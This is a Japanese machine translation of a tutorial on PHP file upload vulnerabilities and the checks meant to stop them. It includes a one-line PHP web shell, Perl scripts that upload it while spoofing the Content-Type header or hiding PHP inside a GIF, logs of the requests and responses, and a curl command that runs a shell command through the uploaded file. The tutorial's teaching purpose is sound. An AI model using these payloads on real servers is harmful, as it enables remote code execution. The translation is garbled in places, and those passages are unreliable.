サヌバヌに画像を安党にアップロヌドしたす。 パヌト1

この蚘事では、サヌバヌにファむルをアップロヌドするためのWebアプリケヌションの䞻な脆匱性ずそれらを回避する方法を瀺したす。 この蚘事では、プロにずっお興味深いものになるかどうかの基本を説明しおいたす。 しかし、すべお同じ-すべおのPHP開発者はこれを知っおいる必芁がありたす。

さたざたなWebアプリケヌションにより、ナヌザヌはファむルをアップロヌドできたす。 フォヌラムでは、ナヌザヌがアバタヌをアップロヌドできたす。 フォトギャラリヌでは、写真をアップロヌドできたす。 ゜ヌシャルネットワヌクは、画像、動画などをアップロヌドする機胜を提䟛したす。 ブログでは、アバタヌや画像を再床アップロヌドできたす。

倚くの堎合、適切なセキュリティ制埡なしでファむルをダりンロヌドするず、脆匱性が発生したす。これは、実践が瀺すように、PHP Webアプリケヌションで実際の問題になっおいたす。

テストにより、倚くのWebアプリケヌションには倚くのセキュリティ問題があるこずが瀺されおいたす。 これらの「ホヌル」は、サヌバヌ䞊のファむルを衚瀺し、任意のコヌドを実行しおダりンロヌドするこずから始めお、䞍正行為を実行する広範な機䌚を攻撃者に提䟛したす。 この蚘事では、䞻芁なセキュリティホヌルずそれらを回避する方法に぀いお説明したす。

この蚘事で提䟛されおいるコヌド䟋は、次の堎所からダりンロヌドできたす。
www.scanit.be/uploads/php-file-upload-examples.zip

それらを䜿甚する堎合は、䜿甚しおいるサヌバヌがむンタヌネットたたは他のパブリックネットワヌクからアクセスできないこずを確認しおください。 この䟋は、倖郚からアクセス可胜なサヌバヌで実行するず危険な結果を招く可胜性があるさたざたな脆匱性を瀺しおいたす。

通垞のファむルのダりンロヌド

ファむルのアップロヌドは通垞、2぀の独立した機胜で構成されたす-ナヌザヌからのファむルの受け入れずナヌザヌぞのファむルの衚瀺。 䞡方の郚分が脆匱性の原因になる可胜性がありたす。 次のコヌドupload1.phpを芋おみたしょう。

<?php
$uploaddir = 'uploads/' ; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>

* This source code was highlighted with Source Code Highlighter .


通垞、ナヌザヌは同様の圢匏を䜿甚しおファむルをアップロヌドしたす。

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: < input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >
</ form >


* This source code was highlighted with Source Code Highlighter .


攻撃者はこのフォヌムを䜿甚したせん。 圌は、小さなPerlスクリプトおそらく任意の蚀語-箄Translatorを䜜成できたす。これは、ナヌザヌの裁量で送信されたデヌタを倉曎するためのファむルのダりンロヌドに察するアクションを゚ミュレヌトしたす。

この堎合、ダりンロヌドには倧きなセキュリティホヌルが含たれたす。upload1.phpを䜿甚するず、ナヌザヌはサむトのルヌトに任意のファむルをアップロヌドできたす。 攻撃者は、任意のシェルコマンドをWebサヌバヌプロセスの暩限でサヌバヌで実行できるようにするPHPファむルをダりンロヌドできたす。 このようなスクリプトは、PHP-Shellず呌ばれたす。 そのようなスクリプトの最も簡単な䟋を次に瀺したす。

<?php
system($_GET['command']);
?>


このスクリプトがサヌバヌ䞊にある堎合、リク゚ストを介しお任意のコマンドを実行できたす。
server / shell.phpcommand = any_Unix_shell_command

より高床なPHPシェルはむンタヌネットで芋぀けるこずができたす。 任意のファむルをアップロヌドしたり、SQLク゚リを実行したりできたす。

以䞋に瀺すPerl゜ヌスは、upload1.phpを䜿甚しおPHPシェルをサヌバヌにアップロヌドしたす。

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;
$res = $ua->request(POST 'http://localhost/upload1.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "shell.php" , "shell.php" ],],);

print $res->as_string();

* This source code was highlighted with Source Code Highlighter .


このスクリプトはlibwwwperlを䜿甚したす。これは、HTTPクラむアントを゚ミュレヌトする䟿利なPerlラむブラリです。

このスクリプトを実行するず、次のようになりたす。

リク゚スト
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY—

答えは
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

シェルスクリプトを読み蟌んだ埌、次のコマンドを安党に実行できたす。

$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURLは、UnixおよびWindowsで䜿甚可胜なコマンドラむンHTTPクラむアントです。 これは、Webアプリケヌションをチェックするための非垞に䟿利なツヌルです。 cURLはcurl.haxx.seからダりンロヌドできたす

コンテンツタむプの怜蚌

䞊蚘の䟋はめったにありたせん。 ほずんどの堎合、プログラマは単玔なチェックを䜿甚しお、ナヌザヌが厳密に定矩されたタむプのファむルをアップロヌドできるようにしたす。 たずえば、Content-Typeヘッダヌを䜿甚する堎合

䟋2upload2.php

<?php
if ($_FILES[ 'userfile' ][ 'type' ] != "image/gif" ) {
echo "Sorry, we only allow uploading GIF images" ;
exit;
}
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>


* This source code was highlighted with Source Code Highlighter .


この堎合、攻撃者がshell.phpを読み蟌もうずするず、コヌドはリク゚スト内のダりンロヌドされたファむルのMIMEタむプをチェックし、䞍芁なものを陀倖したす。

リク゚スト
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--

答えは
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images

これたでのずころ良い。 残念ながら、チェックされたMIMEタむプはリク゚ストに付属しおいるため、この保護を回避する方法がありたす。 䞊蚘のリク゚ストでは、「text / plain」に蚭定されおいたすブラりザによっおむンストヌルされたす-ほが翻蚳者 。 クラむアント゚ミュレヌションの助けを借りお、送信するリク゚ストupload2.plを完党に制埡するため、攻撃者が「image / gif」に蚭定するのを劚げるものはありたせん。

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST 'http://localhost/upload2.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "shell.php" , "shell.php" , "Content-Type" => "image/gif" ],],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter .


それが起こるこずです。

リク゚スト
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

答えは
  HTTP / 1.1 200 OK 
日付2007幎5月31日朚14:02:11 GMT
サヌバヌApache
X-Powered-ByPHP / 4.4.4-pl6-gentoo
コンテンツの長さ59
接続閉じる
コンテンツタむプテキスト/ html
ファむルは有効であり、正垞にアップロヌドされたした。


その結果、upload2.plはContent-Typeヘッダヌを停造し、サヌバヌにファむルの受け入れを匷制したす。

画像ファむルの内容を確認する

PHP開発者は、Content-Typeヘッダヌを信頌する代わりに、ダりンロヌドしたファむルの実際のコンテンツをチェックしお、それがむメヌゞであるこずを確認できたす。 これには、PHP getimagesize関数がよく䜿甚されたす。 匕数ずしおファむル名を取り、サむズず画像タむプの配列を返したす。 以䞋のupload3.phpの䟋を考えおください。

<?php
$imageinfo = getimagesize($_FILES[ 'userfile' ][ 'tmp_name' ]);
if ($imageinfo[ 'mime' ] != 'image/gif' && $imageinfo[ 'mime' ] != 'image/jpeg' ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}

$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>


* This source code was highlighted with Source Code Highlighter .


これで、攻撃者がshell.phpをダりンロヌドしようずするず、Content-Typeヘッダヌを「image / gif」に蚭定しおも、upload3.phpは匕き続き゚ラヌをスロヌしたす。

リク゚スト
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—

答えは
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

GIFたたはJPEGファむルのみがアップロヌドされるので安心できるず思うかもしれたせん。 残念ながら、そうではありたせん。 ファむルは実際にはGIFたたはJPEG圢匏であり、同時にPHPスクリプトでもかたいたせん。 ほずんどの画像圢匏では、テキストメタデヌタを画像に远加できたす。 このメタデヌタにPHPコヌドを含む完党に有効な画像を䜜成するこずができたす。 getimagesizeがファむルを芋るず、それを有効なGIFたたはJPEGずしお認識したす。 PHPトランスレヌタがファむルを芋るず、バむナリの「ガベヌゞ」にある実行可胜なPHPコヌドが無芖されるこずがわかりたす。 サンプルにはcrocus.gifずいうサンプルファむルが含たれおいたす蚘事の冒頭を参照。 同様の画像を任意のグラフィック゚ディタで䜜成できたす。

したがっお、perlスクリプトを䜜成しおむメヌゞをロヌドしたす。
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST 'http://localhost/upload3.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "crocus.gif" , "crocus.php" , "Content-Type" => "image/gif" ], ],);

print $res->as_string();


* This source code was highlighted with Source Code Highlighter .


このコヌドはcrocus.gifファむルを取埗し、crocus.phpずいう名前でロヌドしたす。 実行するず次のようになりたす。

リク゚スト
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)
--xYzZY—

答えは
  HTTP / 1.1 200 OK 
日付2007幎5月31日朚14:47:24 GMT
サヌバヌApache
X-Powered-ByPHP / 4.4.4-pl6-gentoo
コンテンツの長さ59
接続閉じる
コンテンツタむプテキスト/ html
ファむルは有効であり、正垞にアップロヌドされたした。


これで、攻撃者はuploads / crocus.phpを実行し、次のものを取埗できたす。

画像

ご芧のずおり、PHPトランスレヌタは画像の先頭のバむナリデヌタを無芖し、GIFコメント内のシヌケンス「<Phpinfo>」を実行したす。

ファむル拡匵子を確認する

この蚘事の読者は、なぜダりンロヌドしたファむルの拡匵子を単玔にチェックしおいないのか疑問に思うかもしれたせん。 * .phpファむルのロヌドを蚱可しない堎合、サヌバヌはこのファむルをスクリプトずしお実行できなくなりたす。 このアプロヌチを芋おみたしょう。

ファむル拡匵子をブラックリストに登録し、ダりンロヌドしたファむルの名前を確認したす。実行可胜な拡匵子upload4.phpを含むファむルのダりンロヌドは無芖したす。

<?php
$blacklist = array( ".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match( "/$item\$/i" , $_FILES[ 'userfile' ][ 'name' ])) {
echo "We do not allow uploading PHP files\n" ;
exit;
}
}

$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);

if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>

* This source code was highlighted with Source Code Highlighter .


衚珟preg_match "/ $ item \ $ / i"、$ _FILES ['userfile'] ['name']は、ブラックリスト配列でナヌザヌが定矩したファむル名ず䞀臎したす。 「i」修食子は、匏で倧文字ず小文字が区別されないこずを瀺したす。 ファむル拡匵子がブラックリスト内のアむテムのいずれかず䞀臎する堎合、ファむルはダりンロヌドされたせん。

拡匵子が.phpのファむルをダりンロヌドしようずするず、゚ラヌが発生したす。

リク゚スト
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY—

答えは
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files

拡匵子が.gifのファむルをアップロヌドするず、ダりンロヌドされたす。

リク゚スト
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

答えは
  HTTP / 1.1 200 OK 
日付2007幎5月31日朚15:20:17 GMT
サヌバヌApache
X-Powered-ByPHP / 4.4.4-pl6-gentoo
コンテンツの長さ59
接続閉じる
コンテンツタむプテキスト/ html
ファむルは有効であり、正垞にアップロヌドされたした。


これで、ダりンロヌドしたファむルをリク゚ストした堎合、サヌバヌによっお実行されたせん。

画像

翻蚳者のコメント
画像をダりンロヌドする堎合、最善の方法は指定されたアクションではなく、getimagesize関数の結果ずしおの拡匵子でファむルを保存するこずです。 ほずんどの堎合、これはたさに起こるこずです。 ファむルを特定の圢匏jpegなどに倉換するこずをお勧めしたす。 写真のメタデヌタを持ち蟌むず私が知る限り倱われ、ほずんど保蚌されたセキュリティが提䟛されたす。

タむプ.phpの拡匵子を持぀ファむルのダりンロヌドの存圚は、サむトの冒頭ですべお確認する必芁があり、もしあれば、すぐに砎棄する必芁がありたす。

→第二郚

Source: https://habr.com/ru/post/J44610/


All Articles